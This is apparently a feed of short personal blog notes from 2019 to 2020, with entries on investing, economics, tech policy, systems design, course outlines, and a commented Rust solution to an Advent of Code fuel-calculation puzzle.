Some (most?) of these claims are supported by anecdotal evidence, which is an avenue for belief fixation, and therefore makes it hard to come to a resolution .

I don’t know if it’s because anti-PC material is more viral, but most of the prominent publications are either anti-PC, or anti-anti-PC. Not finding enough pro-PC publications.

Politics Potpourri

Tue, 15 Dec 2020 00:00:00 +0000

State Surveillance

In the aftermath of the Capitol insurrection, FBI was contacting people whose cellphones pinged cell towers near the Capitol during the riots. #state-surveillance

A powered mobile phone always sends signals to one of the closest base stations. Given multiple base stations, the angle and time of arrival, and location signatures of each cell location can be used to locate a mobile device. The higher the density of cell towers, the more precise the calculated location.

On Running a Business

Sun, 29 Nov 2020 00:00:00 +0000

Consultants are not well suited for strategy (you probably have a deeper understanding). They are also an expensive way of proving your point to management. However, they are good for emergency horsepower, e.g. data analysis, and for primary research within your industry (they probably have a broader understanding).

Having a competitive advantage may reduce the incentive to explore other ideas, especially ones that conflict with your chosen [successful] strategy. Additionally, having to maintain/exceed quarterly numbers dissuade incumbents from risk taking.

Experiments/Theories in Socioeconomics

Sat, 21 Nov 2020 00:00:00 +0000

Programmable Money

South Korea’s COVID-19 stimulus payments were programmed to expire in Aug 2020, and could only be spent at qualifying shops. Australia’s cashless welfare card [currently in pilot stages] cannot be withdrawn as cash, nor used at alcohol, tobacco and gambling joints.

Monzo, a UK-based digital-first mobile baking app, supports IFTTT recipes. This enables budgeting logic, “If I spend at KFC, then move $5 to my penalty pot”.

The Self-Esteem Craze in America

In the 80s and 90s, there was research that low self-esteem was related to undesirable results, but there wasn’t any conclusive work that high esteem causes good outcomes. The self-esteem craze was defined by a simple inspiring message, a lot of half-baked research, prevalent confirmation bias, cottage-industry (books, videos, seminars). Self-esteem grew into a panacea for academic performance, crime, teen pregnancy until more rigorous research arrived. Similar overhyped[?] panaceas: power posing, growth mindset, grit.

On Systems Programming

Sat, 21 Nov 2020 00:00:00 +0000

Garbage Collection

Garbage Collection is about simulating a computer with infinite memory. Consequently, if you have more RAM than your program will ever need, then a null garbage collector is a valid one.

Traits of Beautiful Code

is the chief designer of Ruby, and thus the frequent illustrations and praises for Ruby.

How do other chief designers explain their rationale? For instance, what would Java’s designer say to ’s criticism?

Software Dependencies

Sat, 14 Nov 2020 00:00:00 +0000

Dependency Management

Golang introduced a new library referencing mode to overcome limitations of the old one. While the two library modes are supported by Golang, they are incompatible, e.g. dependency management (DM) issues, reference inconsistencies, build failures, etc. did an empirical study that resulted in HERO, an automated technique to detect DM issues and suggest fixes. Applied to 19k Golang projects, HERO detected 98.5% on a DM issue benchmark, and found 2,422 new DM issues in 2,356 Golang projects. They reported 280 issues, and almost all of the fixes have adopted HERO’s fixing suggestions.

ML Usefulness to a Dev

Sat, 24 Oct 2020 00:00:00 +0000

Link to Original Video

ML Usefulness to a Dev

Reduce time spent programming, e.g. manually crafted spellchecker with rules of thumb vs. feeding ML model some examples.

How many words are there in English? Is it hard to have a huge set of all the possible words? How do spellcheckers do it?

Hunspell is the most popular OSS , and it was being used by Chromium , but on Chromium for Windows, the Windows Spellcheck is used .

ML Usefulness to a Dev

Sat, 24 Oct 2020 00:00:00 +0000

Link to Original Video

ML Usefulness to a Dev

Reduce time spent programming, e.g. manually crafted spellchecker with rules of thumb vs. feeding ML model some examples.

How many words are there in English? Is it hard to have a huge set of all the possible words? How do spellcheckers do it?

Hunspell is the most popular OSS , and it was being used by Chromium , but on Chromium for Windows, the Windows Spellcheck is used .

[ToDo] CPSC 465: Theory of Distributed Systems

Wed, 07 Oct 2020 00:00:00 +0000

Introduction

Message Passing

Model
Broadcast and Convergecast
Distributed Breadth-First Search
Leader Election
Logical Clocks
Synchronizers
Coordinated Attack
Synchronous Agreement
Byzantine Agreement
Impossibility of Asynchronous Agreement
Paxos
Failure Detectors
Quorum Systems

Shared Memory

Model
Distributed Shared Memory
Mutual Exclusion
The Wait-Free Hierarchy
Atomic Snapshots
Lower Bounds on Perturbable Objects
Restricted-Use Objects
Common2
Randomized Consensus and Test-and-Set
Renaming
Software Transactional Memory
Obstruction-Freedom
BG Simulation
Topological Methods
Approximate Agreement

Other Communication Models

Overview
Self-stabilization
Population Protocols and Chemical Reaction Networks
Mobile Robots
Beeping

Appendix

Fables in Service of Capitalism

Wed, 07 Oct 2020 00:00:00 +0000

Environmentalism

Over the last 70 years, less than 10% of plastic waste has been recycled - it’s uneconomical. Recycling shifts attention from the environmental impact of plastics and their overproduction to the consumer’s willingness to recycle. Reducing and reusing is a much better environmental strategy. #environmentalism

Betting (and Gambling)

I’m seeing more prominent gambling sites and ads compared to when I was growing up. Based on my peers, SportPesa made lots of headway in Kenya (few companies can claim to sponsor English Premier League teams). Its backing is foreign though, so maybe SportPesa is part of a global trend?

Bayesian Statistics [MIT 18.650]

Sun, 26 Jul 2020 00:00:00 +0000

Frequentist Approach vs. Bayesian Approach

Sun, 26 Jul 2020 00:00:00 +0000

The Frequentist Approach

Observe data.
Assume the data were generated randomly, e.g. by nature, by designing a survey, etc.
Make assumptions on the generating process, e.g. i.i.d., Gaussian, etc.
Associate the generating process to some object of interest, e.g. a parameter, a density, etc.
Assuming that the object is unknown but fixed, try to find it, e.g. estimate it, test a hypothesis about it, etc.

The Bayesian Approach

Observe data.
Assume the data are generated randomly by some process.
Under some assumptions, e.g. parametric distribution, associate the process with some fixed object.
We have a prior belief about the object.
Using the data, we want to update that belief into a posterior belief.

See Galef’s “Rethinking Identity” for a fun exploration of Bayesian vs. Frequentists rivalry .

Of Code Smells and Hygiene

Sun, 05 Jul 2020 00:00:00 +0000

#code-hygiene

Pick up from:

IEEE’s International Conference on Software Maintenance
- Improving Code: The (Mis)perception of Quality Metrics
Springer’s Software Quality Journal

On Abstractions

If you find yourself adding more parameters and if-statements to an existing abstraction, is the abstraction still apt? Why not remove the old abstraction and re-extract a new [more apt] abstraction? Devs frequently succumb to the sunken cost fallacy thinking that there must have been a reason that the code was written in a certain way.

Startup Ideation

Sun, 05 Jul 2020 00:00:00 +0000

How to Get Startup Ideas

Err on the side of having competitors, but make sure that you have a thesis that everyone else is overlooking, e.g. Google wasn’t averse to users leaving google.com ASAP.

The Startup Idea Matrix, ( B2B Edition , B2C Edition ) is a good start for knowing who to google.

Big companies tend to be slow at changing their approach. You’d think that Yahoo! would clean up their landing page the moment they realized Google was becoming a dominant search engine.

On Socio-Economic Classes

Sat, 04 Jul 2020 00:00:00 +0000

#meritocracy #inequality #socioeconomics

Our Lot in Life

Not recognizing your blessings feeds into the dark side of capitalism and meritocracy: success is a choice, and that those who haven’t achieved success are not unlucky, but unworthy.

I’m relatively lucky. I don’t know how much of the techie hubris that I bear. I have unresolved feelings about meritocracy and fairness. Race is usually used as a proxy for bridging the gap, e.g. affirmative action at colleges. But who is affirmative action better suited for - a rich black kid or a poor white kid? I’m in the camp that believes wealth is a bigger divider than race.

01. Sum of Powers

Sat, 20 Jun 2020 00:00:00 +0000

The sums of powers, $ \sum_{k=1}^{n} k^a $, can be computed more efficiently if we have a closed formula for them.

Sum of powers for a = 1, 2, 3

$$ \sum_{k=1}^{n} k = \frac{n(n+1)}{2} $$

One [intuitive] derivation is presented at brilliant.org :

$$ S_n = 1 + 2 + 3 + … + n $$

… can be reordered as:

$$ S_n = n + (n-1) + (n-2) + … + 1 $$

12. A Fitness Manual for Random Walkers and Other Investors

Wed, 03 Jun 2020 00:00:00 +0000

Exercise 1: Have a regular savings program.

Start investing early because compound interest and time are you greatest resource.

When it comes to setting saving accounts’ interest rates with regard to the interest rate that banks enjoy from the fed , banks are downwards-flexible and upwards-sticky. Depositors lose the tune of $100b when interest rates are rising.

One is better off with special accounts such as Marcus by Goldman Sachs (1.05% APY) or Ally (1.00% APY) or PNC High Yield (1.00% APY) . Some of these accounts are limited to US citizens.

13. A Primer in Understanding and Projecting Returns from Stocks and Bonds

Wed, 03 Jun 2020 00:00:00 +0000

What determines the returns from stocks and bonds?

A stock buyer expects a growing stream of dividends. If the company re-invests its profits, the stock buyer expects more rapidly growing dividends in the future, or a lucrative stock buyback.

Long-run Equity Return = Initial Dividend Yield + Growth Rate

In the short run (e.g. a year) the changes in price/dividend or price/earnings multiples determine returns. In optimistic times, e.g. March 2000, P/E > 30 and P/D > 80. In times of pessimism, e.g. 1982, P/E > 8 and P/D > 17

14. A Life-Cycle Guide to Investing

Wed, 03 Jun 2020 00:00:00 +0000

5 Asset Allocation Principles

History shows that higher risk bears high reward

From 1926 to 2017:

	Average Annual Return	Year-to-Year Volatility of Returns
Small-company stocks	12.1%	31.7%
Large-company stocks	10.2%	19.8%
Long-term government bonds	5.5%	9.9%
US Treasury Bills	3.4%	3.1%

The risk of investing in stocks and bonds depends on the hold duration

From 1950 to 2017, the S&P averaged 10% per year. However, there were +52% and -37% on some years.

Unorthodox Startups

Wed, 20 May 2020 00:00:00 +0000

Innovation Africa & Water Availability

Bring in Israeli solar panels and drip irrigation. Pump water from the large reservoirs below. Cost $7,000.

Adapting to community: 6-8 weeks on committees, bank accounts; mobile charging stations and barbershops using solar panels for sustainability. Can’t sell the water, but you can subsidize it with complementary products.

Set up remote monitoring with real time stats in order to schedule maintenance.

Honorable Mentions

Push Party by MSCHF is valued at $200m, led by The Founders Fund.

Chrome vs. Everybody

Tue, 19 May 2020 00:00:00 +0000

Browser Market Share Worldwide (2009 - 2026). Source: StatCounter

At the very least, Chrome is worth studying. Something worked out. I’m biased, I only plan to deeply explore Chromium-based browsers and Firefox.

Stability, Testing and the Multi-Process Architecture

In a single-threaded browser, devs use asynchronous APIs - which may sometimes hold the browser up. Instead of multiple threads, Chromium chose multiple processes: isolation, independent crashes, better asymptotic memory management, identifying expensive sites, etc.

Mergeable Replicated Data Types

Sun, 17 May 2020 00:00:00 +0000

On a distributed system, each replica should [eventually] converge to the same state. Commutative Replicated Data Types (CRDTs) can accept updates and achieve consistent without remote synchronization.

The Need for Commutativity

Say we have a queue $ 1 \to 2 $. Suppose two replicas, $r_1$ and $r_2$, independently call pop(). Each replica will have $2$ on their queue.

However, on receiving an update that the other replica popped, each replica will call pop() to be consistent, thereby deleting $2$.

COVID-19

Wed, 06 May 2020 00:00:00 +0000

Contact Tracing

“Apps” in this context means contact tracing apps released by public health authorities to do contact tracing. The APIs are limited to them.

Big Picture

Release APIs to enable apps to interoperate between Android and iOS devices. Bluetooth-based contact tracing baked into Android and iOS, such that no app is needed for broadcasting/listening. This ensures broad adoption, but will be on an opt-in basis.

Interesting debate for privacy, ethics and public health. Public health officials have a duty to warn, but patients risk stigma.

Unscrambling Words

Sun, 03 May 2020 00:00:00 +0000

Problem Statement

Write a program that will take these scrambled words from scrambled.txt, and compare them against wordlist.txt to unscramble them, e.g., sleewa unscrambles to weasel.

Solution

Pre-process wordlist.txt into a dictionary keyed by the sorted version of the anagram, e.g., weasel is keyed under aeelsw. To support multiple anagrams, the value should be a list of all strings from wordlist that share the sorted anagram. Iterating through scrambled.txt becomes a lookup operation keyed on the sorted string.

Health Ethics

Sat, 02 May 2020 00:00:00 +0000

Harden, a liberal behavior geneticist, is publishing a book, “The Genetic Lottery: Why DNA Matters for Social Equality”. Watch this space as it casts doubt on prevailing social justice thesis that environmental factors, and not genetics, influence behavior or social outcomes.

Check back in Sept 2022 (one year from now).

Faster Human Trials

In 1986, AZT (AIDS treatment) showed 1/145 deaths compared to the placebo’s 16/137. 6,000 AIDS patients were offered AZT, helping it get to the public much faster.

On Learning

Sat, 02 May 2020 00:00:00 +0000

Mental Attitude While Learning

Distinguish Mere Facts From Conclusions or Opinions

Discriminate between mere statements of facts, necessary conclusions which follow therefrom, and mere opinions which they seem to render reasonable. There’s no need to perform an experiment to verify that the atomic weight of oxygen is 16. That the sum of the angles of a plane triangle equals two right angles is not a mere fact, but an inevitable truth.

Wall Street University: USD 101

Sat, 02 May 2020 00:00:00 +0000

Short Selling

Say $A shares are selling at $100, but I think they’re overpriced. So I borrow 10 shares, pay my brokerage interest and post some collateral. I then sell the shares for $1,000.

Whoever buys my shares has no idea that I do not own them. In a naked short, I do not actually borrow or ensure that the security can be borrowed within the standard 3-day settlement period. As a result, I fail to deliver the securities to the buyer.

Free Speech in Cyberspace

Wed, 29 Apr 2020 00:00:00 +0000

Should Platforms Be Neutral?

Facebook banned praise, support and representation of white nationalism and separatism, because the two concepts cannot be meaningfully separated from white supremacy and organized hate groups. Furthermore, people that search for related terms will have “Life After Hate” suggested to them.

Part of me is uncomfortable. Sure, Facebook is trying to do the right thing here. What if Facebook was replaced by some tyrannical government that censors opposition?

[ToDo] Linear Algebra

Sun, 26 Apr 2020 00:00:00 +0000

Linear Systems

Solving Linear Systems
Linear Geometry
Reduced Echelon Form
Topic: Computer Algebra Systems
Topic: Input-Output Analysis
Topic: Accuracy of Computations
Topic: Analyzing Networks

Vector Spaces

Definition of Vector Space
Linear Independence
Basis and Dimension
Topic: Fields
Topic: Crystals
Topic: Voting Paradoxes
Topic: Dimensional Analysis

Maps Between Spaces

Isomorphisms
Homomorphisms
Computing Linear Maps
Matrix Operations
Change of Basis
Projection
Topic: Line of Best Fit
Topic: Geometry of Linear Maps
Topic: Magic Squares
Topic: Markov Chains
Topic: Orthonormal Matrices

Determinants

Philanthropy

Sun, 26 Apr 2020 00:00:00 +0000

Criticism/Defense Of Billionaire Philanthropy

Taxes will probably not go to the same causes, e.g. reforming the bail system, grassroot efforts for migrants, etc.

Admittedly, these are things that the government should be doing, but it seems that the government doesn’t do enough. Furthermore, some of these issues so politicized, e.g. immigrants, that government support can be fickle.

Foundations are more effective than governments as they do their due diligence, e.g. Bill Gates. Reforming the government is a long battle.

On Data Science

Fri, 24 Apr 2020 00:00:00 +0000

Data Science: Reality Doesn’t Meet Expectations

Execs frequently ignore data science research when making decisions.

Data is often dirty, or insufficient to make decisions about majority of the users. Sometimes the infrastructure is poor - SQL queries take hours.

Data Scientists are usually the only ‘data person’ on the team. Tons of request from teams, and most of the work is repetitive and ’easy’.

Measuring impact is hard - especially on dollars that were hypothetically saved but never spent.

Economics in the Real World

Sat, 18 Apr 2020 00:00:00 +0000

Protectionism vs. Globalization

Prestige Ameritech is America’s #1 maker of surgical masks. In outbreaks, demand peaks, but when it’s all over, hospitals go back to exclusively buying cheaper masks from China. Reduced demand makes Ameritech lay off workers. Ameritech is pushing for a federal contract to stabilize demand over time.

India’s Foreign Exchange Act of 1973 gave Coca-Cola an ultimatum: hand over 60% of the local subsidiary to Indian partners and the syrup recipe. Coca-Cola left in 1977. With the fall of the Soviet Union, socialist India’s primary sponsor, India embraced the free market to fully finance its debts. Coca-Cola and Pepsi came back, but Indians kept drinking Thums Up (goes well with spicy food) and Limca (appeals to national love for lemonade). Coca-Cola bought both brands but still produces them.

Miscellaneous Topics

Sat, 18 Apr 2020 00:00:00 +0000

Personalizing Your Shell

Put all of your scripts in the ~/bin/ directory, and add ~/bin/ to your path. Beware of conflicting with system commands. One alternative is to prefix your commands with a comma.

Managing `launchctl` Services

launchctl list lists the running services, e.g.,

$ launchctl list | grep blog
1357 0 com.dchege711.blogserver

launchctl kickstart -k [service-target] restarts the service (-k kills it if it were running before), e.g., launchctl kickstart -k gui/501/com.dchege711.blogserver.

APIs Are Not In the Efficiency Business

Sat, 11 Apr 2020 00:00:00 +0000

CityFlo Reduces Google Maps API Bill by 94%

Google Directions API limited their free tier . CityFlo uses this API to calculate ETAs. Initially, CityFlo queried the API every time a stop was registered.

This was the problem. The number of API calls should be dependent on the stops themselves, not the buses. For an MVP, sure - make that query - but if you’re running a growing business, those calls add up!

02: Cracking Codes and Math Departments

Sun, 29 Mar 2020 00:00:00 +0000

Cracking Codes and Problems at the IDA

At IDA, Simons developed a fast code-breaking algorithm for a long-standing problem. However, because this work was confidential, he couldn’t share accomplishments with outsiders.

A soap film stretching across a wire frame has minimal area. Plateau’s Problem: Do such minimal areas always exist and are they always so smooth no matter the wireframe? In 1930, ‘Yes’ was proved for 2-D. Almgren, PU Prof, proved it for 3-D. Simons extended this to 6-D and formed a counter-example in 7-D.

03: Markov Chains, Potatoes and HODL

Sun, 29 Mar 2020 00:00:00 +0000

Markov Chains and Baum

A hidden Markov process is one in which the results of the chain are visible, but not the states that help explain the progression of the chain. Like receiving the number of runs scored in each inning without knowing anything about baseball.

The Baum-Welch algorithm could estimate probabilities and parameters using a little more information than the results of the hidden Markov chain.

Baum, hesitant at first, joined Simmons and applied his knowledge to trade currencies. Ax (recruited at Stony Brook) extended the models to commodities. Monemetrics was making bank!

04: From Linear Regressions to Kernel Methods

Sun, 29 Mar 2020 00:00:00 +0000

Ax, Straus the Data Collector and Axcom

Ax wasn’t a likeable character. He got into a lot of arguments/fights. His personal life was in disarray. His early research wasn’t original either - it was comparable to that of trenders.

Straus was a data collector. The Telerate machines at trading floors didn’t have an interface for investors to collect and analyze information (a laid-off Michael Bloomberg would later change that). Straus collected tick data on commodities, futures and stocks. This was above and beyond what Straus was hired for.

Scalability

Sun, 22 Mar 2020 00:00:00 +0000

Describing Load

Load parameters are numbers that describe the load on a system, e.g. number of requests per second to a web server, ratio of reads to writes in a database, number of simultaneously active users in a chat room.

Example: Twitter

Major operations:

Users posting tweets: $4.6k$ requests/sec on average, $12k+$ requests/sec at peak.
Users viewing timelines: $300k$ requests/sec.

Twitter’s scaling challenge is the fan-out: each user follows many people and each user is followed by many people.

[ToDo] CPSC 469: Randomized Algorithms

Thu, 05 Mar 2020 00:00:00 +0000

Randomized Algorithms
Probability Theory
Random Variables
Basic Probabilistic Inequalities
Concentration Bounds
Randomized Search Trees
Hashing
Martingales and Stopping Times
Markov Chains
Approximate Counting
The Probabilistic Method
De-randomization
Quantum Computing
Randomized Distributed Algorithms
Sample Assignments from Fall 2019
Sample Assignments from Fall 2016
Sample Assignments from Spring 2014
Sample Assignments from Spring 2013
Sample Assignments from Spring 2011
Sample Assignments from Spring 2009
Probabilistic Recurrences

CPSC 469: Randomized Algorithms. James Aspnes. www.cs.yale.edu . Mar 5, 2020.

[ToDo] CS 181: Computers, Ethics, and Public Policy

Sun, 01 Mar 2020 00:00:00 +0000

The instructors of Home | Ethics of Technological Disruption have written a book: “System Error: Where Big Tech Went Wrong and How We Can Reboot” ( available on SPL ). The authors' main ideas: the question is not about values, but better/worse social outcomes; understanding the optimization mindset of the technologist is more helpful than understanding the underlying tech; government regulation can and has led to good outcomes; a libertarian approach, e.g. just #deletefacebook, is dismissive of the value that people get from the tech.

[ToDo] CS 229: Machine Learning

Sun, 01 Mar 2020 00:00:00 +0000

Introduction and Basic Concepts
Supervised Learning Setup
Linear Regression
Linear Algebra
Weighted Least Squares
Logistic Regression
Newton’s Method
Perceptron
Exponential Family
Generalized Linear Models
Probability
Gaussian Discriminant Analysis
Naïve Bayes
Laplace Smoothing
Support Vector Machines
Python and Numpy
Support Vector Machines
Kernels
Neural Networks
Bias - Variance
Regularization
Feature/Model Selection
Deep Learning
K-Means
GMM (non EM)
Expectation Maximization
Factor Analysis
Principal and Independent Component Analysis
Weak Supervision
Markov Decision Process

Financing the Disadvantaged

Wed, 12 Feb 2020 00:00:00 +0000

Short Term Loans

A common narrative for loan providers is financial inclusion. 69% of global adult population is not covered by credit bureaus. Using non-traditional data (e.g. text messages, location, contacts, call logs), more people can get scored.

If only $x\%$ of people pay you back, then $\frac{x}{100}(1 + r) \ge 1 $ suggests $r \ge \frac{100}{x} - 1 $. If $75\%$ tend to pay back, $r = 33\frac{1}{3} \%$.

[ToDo] The Missing Semester of Your CS Education

Mon, 03 Feb 2020 00:00:00 +0000

Course Website , My Notes

✅ Course Overview + The Shell

✅ Shell Tools and Scripting

Editors (Vim)

Data Wrangling

Command-line Environment

Version Control (Git)

Debugging and Profiling

Metaprogramming

Security and Cryptography

Potpourri

Q&A

Linux Productivity Tools

[ToDo] AI: A Modern Approach

Sun, 02 Feb 2020 00:00:00 +0000

Artificial Intelligence: A Modern Approach (3rd ed.). Stuart Russell; Peter Norvig. aima.cs.berkeley.edu . Jan 1, 2010.

Ch 01. Introduction to AI

Ch 02. Intelligent Agents

Ch 03. Solving Problems by Searching

Ch 04. Beyond Classical Search

Ch 05. Adversarial Search

Ch 06. Constraint Satisfaction Problems

Ch 07. Logical Agents

Ch 08. First-Order Logic

Ch 09. Inference in First-Order Logic

[ToDo] Designing Data Intensive Applications

Sun, 02 Feb 2020 00:00:00 +0000

Designing Data-Intensive Applications: The Big Ideas Behind Reliable, Scalable, and Maintainable Systems. Martin Kleppmann. 2017. ISBN: 978-1449373320 .

Link to notes

Part I. Foundations of Data Systems

✅ Ch 01. Reliable, Scalable and Maintainable Applications:

✅ Thinking About Data Systems
✅ Reliability: hardware faults; software errors; human errors; importance of reliability.
✅ Scalability: describing load; describing performance; approaches for coping with load.
✅ Maintainability: operability - making life easy for operations; simplicity - managing complexity; evolvability - making change easy.

Ch 02. Data Models and Query Languages:

[ToDo] Linear Algebra: An Inquiry-Based Approach

Sun, 02 Feb 2020 00:00:00 +0000

Objective: Get better at linear algebra for the sake of it.

✅ Ch 01. Introduction to Systems of Linear Equations

✅ Ch 02. The Matrix Representation of a Linear System

Ch 03. Row Echelon Forms

Ch 04. Vector Representation

Ch 05. The Matrix-Vector Form of a Linear System

Ch 06. Linear Dependence and Independence

Ch 07. Matrix Transformations

Ch 08. Matrix Operations

Ch 09. Introduction to Eigenvalues and Eigenvectors

Ch 10. The Inverse of a Matrix

Facebook to Pay $550 Million to Settle Facial Recognition Suit

Wed, 29 Jan 2020 00:00:00 +0000

Facebook to Pay $550 Million to Settle Facial Recognition Suit. Natasha Singer; Mike Isaac. www.nytimes.com . Jan 29, 2020.

Illinois’ biometric privacy law requires companies to obtain written permission before collecting a person’s biometrics. Residents have the right to sue for up to $5,000 per violation.

Facebook’s Tag Suggestions harvested facial data without getting written consent nor telling Illinois users for how long the data would be kept.

Tech and Democracy

Mon, 27 Jan 2020 00:00:00 +0000

Political Ads

Cambridge Analytica (CA) paid people to take in-app survey; mined FB profile data including friends’ data; crafted tailored sensitive ads to sway-able voters. Elections are about emotions, not facts. Data science and social media can help us make sense of and manipulate the chaos.

An alternative argument. Political misinformation is:

Weak in high profile partisan races because pre-existing beliefs hardly change
Strong when people don’t have string pre-existing opinions, e.g. misinformation about voter ID laws causing people to stay home from the polls

AoC 2019 Day 01: The Tyranny of the Rocket Equation

Wed, 08 Jan 2020 00:00:00 +0000

Description

Link to challenge

The objective is to write a function that calculates the amount of fuel needed to propel a given mass. The question is interesting because the fuel has mass and therefore requires fuel too, and so forth.

My Solution

use std::fs::File;
use std::io::{self, BufRead};
use std::path::Path;

/// Returns the amount of fuel required to launch a module of mass `mass`. 
fn fuel_needed_for_mass(mass: i64) -> i64 {
 // You can return early from a function by using the `return` keyword and
 // specifying a value, but most functions return the last expression
 // implicitly. Note that expressions don't have semicolons.
 //
 // https://doc.rust-lang.org/book/ch03-03-how-functions-work.html

 // To find the fuel required for a module, take its mass, divide by three,
 // round down, and subtract 2.
 // 
 // I like how Rust warned me against using an unsigned int:
 // thread 'main' panicked at 'attempt to subtract with overflow'
 let fuel_mass = (mass / 3) - 2;

 // Can't do a one-line if-statement in Rust. Good to know.
 if fuel_mass <= 0 { return 0; }

 // The fuel also requires fuel...
 return fuel_mass + fuel_needed_for_mass(fuel_mass);
}

fn main() {
 assert_eq!(fuel_needed_for_mass(14), 2);
 assert_eq!(fuel_needed_for_mass(1969), 966);
 assert_eq!(fuel_needed_for_mass(100756), 50346);

 let mut total_fuel_needed: i64 = 0;
 // Functions return `Result` whenever errors are expected and recoverable.
 // `Ok(T)` represents success and contains a value, while `Err(E)`
 // represents an error and contains an error value.
 // https://doc.rust-lang.org/std/result/
 if let Ok(lines) = read_lines("./input01.txt") {
 for line in lines {
 // So much error handling. In Python, I couldn't even consider
 // adding this check. What could go wrong at this point?
 // Update: say the line is not valid UTF-8
 if let Ok(mass_str) = line {
 let mass = mass_str.parse::<i64>().unwrap();
 total_fuel_needed += fuel_needed_for_mass(mass);
 }
 }
 }
 // Macros look like functions, except that their name ends with
 // a bang !, but instead of generating a function call, macros
 // are expanded into source code that gets compiled with the
 // rest of the program.
 // https://doc.rust-lang.org/rust-by-example/macros.html
 // 
 // The string formatting is similar to that of Python
 // https://doc.rust-lang.org/std/fmt/index.html
 println!("Total fuel needed: {}", total_fuel_needed);
}

/// Returns an `Iterator` to the `Reader` of the lines of the file. The output
/// is wrapped in an `io::Result<T>` to make the failure of all I/O operations
/// explicit.
/// 
/// Source: https://doc.rust-lang.org/rust-by-example/std_misc/file/read_lines.html#read_lines
fn read_lines<P>(filename: P) -> io::Result<io::Lines<io::BufReader<File>>>
where P: AsRef<Path>, {
 let file = File::open(filename)?;
 // From the docs: `BufReader<R>` can improve the speed of programs that make
 // small and repeated read calls to the same file. It does not help when
 // reading very large amounts at once, or reading just one or a few times.
 // It also provides no advantage when reading from a source that is already
 // in memory, like a `Vec<u8>`.
 Ok(io::BufReader::new(file).lines())
}

[ToDo] CS 124: From Languages to Information

Wed, 01 Jan 2020 00:00:00 +0000

Basic Text Processing
Edit Distance
Language Modeling
Naive Bayes and Text Classification
Sentiment Analysis
Logistic Regression
Information Retrieval
Vector Semantics, Neural Embeddings, Word2Vec
Relation Extraction
Chatbots
Recommender Systems (Collaborative Filtering)
Web Graphs, Links and PageRank
Social Networks
NLP For Social Good

CS 124: From Languages to Information. JDan Jurafsky. Stanford University. web.stanford.edu .

[ToDo] CS231n: Convolutional Neural Networks for Visual Recognition

Wed, 01 Jan 2020 00:00:00 +0000

Image Classification; Linear Classification; Optimization; Backpropagation; Neural Networks; Convolutional Neural Networks; Understanding and Visualizing Convolutional Neural Networks; Transfer Learning and Fine-tuning Convolutional Neural Networks.

CS231n: Convolutional Neural Networks for Visual Recognition. Fei-Fei Li; Ranjay Krishna; Danfei Xu. cs231n.stanford.edu . 2020.

[ToDo] Machine Learning Crash Course

Wed, 01 Jan 2020 00:00:00 +0000

ML Concepts

Introduction to ML
Framing
Descending into ML
Reducing Loss
First Steps with TF
Generalization
Training and Test Sets
Validation Set
Representation
Feature Crosses
Regularization: Simplicity
Logistic Regression
Classification
Regularization: Sparsity
Neural Networks
Training Neural Nets
Multi-Class Neural Nets
Embeddings

ML Engineering

Production ML Systems
Static vs. Dynamic Training
Static vs. Dynamic Inference
Data Dependencies
Fairness

ML Systems in the Real World

Cancer Prediction
Literature
Guidelines

Machine Learning Crash Course. Google. developers.google.com . 2020.

How Do People Invest in the US?

Tue, 24 Dec 2019 00:00:00 +0000

Index Funds and 401(k) Accounts

I assume the return is ~5%
There are 4 types of retirement accounts, each with tradeoffs (en.wikipedia.org)
- 401(k), Roth 401(k), Traditional IRA and Roth IRA
The return of lazy portfolios (set and forget) is ~6% (compounded) over 15 years as of 2018 (finpage.blog)

Notes from /r/investing’s FAQ (reddit.com)

The FAQ emphasizes reading books

I don’t see the urgency. It’s not as if I’ll be picking my own stocks… Maybe it’s for me to know when to call bullshit.

Investing in Kenya

Tue, 24 Dec 2019 00:00:00 +0000

Areas to Consider

Capital Markets

The Central Depository and Settlement Corporation (CDSC) runs the Central Depository System (CDS) that facilitates holding and trading of shares at the Nairobi Stock Exchange (NSE). A Central Depository Agent (CDA) is a Stockbroker, an Investment Bank, or a Custodian Bank, who has been authorized by the CDSC to open accounts in CDS on behalf of investors.

In 2006, an Automatic Trading System was introduced so that orders are matched automatically and executed by stockbrokers on a first-come first-served basis. Government bonds have also been added to the ATS. Securities lending, short-selling and same day turnaround trades are not yet permitted.

What are the Basic Ideas On Investing?

Tue, 24 Dec 2019 00:00:00 +0000

Things to invest in

(Least risk) Bonds, Stocks, Startups (Most Risk).
- Why not start a business?

The Amount of Money

Some investments only make sense in bulk for they have low margins, e.g. stocks

The risk tolerance

The higher the risk, the higher the reward
The law protects investors, e.g. startup investors in the US must be accredited

The Time Frame

Maybe 10 years? Allows for compounding.
It’s better to let the goal determine the time frame, e.g. retirement, home, etc.

[BBC] Crows Could be the Smartest Animal Other Than Primates

Wed, 11 Dec 2019 00:00:00 +0000

Crows Could be the Smartest Animal Other Than Primates. Chris Baraniuk. www.bbc.com . Dec 11, 2019.

New Caledonian crows make hooked tools from soft twigs to scoop insects out of holes. Other animals that use tools: chimpanzees, parrots, alligators and crabs.

The crows found the desired stems even when they had been disguised with leaves from a different plant species.

[ToDo] CS 228: Probabilistic Graphical Models

Sun, 01 Dec 2019 00:00:00 +0000

Introduction
Probability Theory
Bayesian Networks
Undirected Models
Learning Bayes Nets
Exact Inference
Message Passing
Sampling
MAP Inference
Structured Prediction
Parameter Learning
Bayesian Learning
Structure Learning
Exponential Families
Variational Inference
Advanced Topics and Conclusions

https://cs228.stanford.edu/. Stefano Ermon. Stanford University.

On Graduation

Sat, 30 Nov 2019 00:00:00 +0000

In 8 hours, family and friends will gather at our home to celebrate my graduation. It’s a big deal - I left Kenya for Princeton, graduated and now work at Microsoft. I’ll probably need to say something at some point. Here’s that thing.

I’m humbled, not because I’m striving to be virtuous, but from realizing that my current state is a series of non-deterministic yet compounding luck [TRoL] , [Housel] . In my time counselling Kenyan students applying to US universities, I haven’t been able to reliably help them gain admission [KAtUS] .

Book Review: All Therapy Books [Scott Alexander]

Wed, 20 Nov 2019 00:00:00 +0000

Book Review: All Therapy Books. Scott Alexander. slatestarcodex.com . Nov 20, 2019.

Scott’s thesis: Each of the therapy books on their own can be convincing. But they should be taken in the context of All Therapy Books, which as a category are pretty worrying.

Dodo Bird Verdict : All psychotherapies are about equally good, and the only things that matters are “nonspecific factors” like how much patients like their therapist.

AT&T to pay $60m in settlement for slowing cellphone data on unlimited plans

Tue, 05 Nov 2019 00:00:00 +0000

AT&T to pay $60m in settlement for slowing cellphone data on unlimited plans. www.reuters.com . Nov 5, 2019.

Complaint filed in 2014 by the FTC: AT&T charged smartphone users for ‘unlimited’ data plans, but throttled them after ~2GB within a month.
